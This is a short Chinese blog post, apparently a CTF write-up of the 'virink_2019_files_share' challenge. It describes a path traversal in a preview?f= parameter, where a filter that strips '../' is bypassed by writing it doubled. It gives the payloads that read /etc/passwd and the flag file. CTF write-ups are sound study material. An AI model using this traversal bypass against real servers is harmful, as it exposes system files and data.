刷题笔记:virink_2019_files_share


前言

关键字:[魔方]

题解

index.js文件有这种混淆代码,必有蹊跷。

得,折腾半天整不出来,原来不在这里。

/uploads目录遍历是开着的

读取下/etc/passwd

似乎有过滤

显然,..//被替换为空,但可以双写绕过

preview?f=..././..././..././..././..././..././etc..//passwd

没想到最后得再加个/flag,实在想不到

/preview?f=..././..././..././..././..././..././f1ag_Is_h3re..//flag

文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录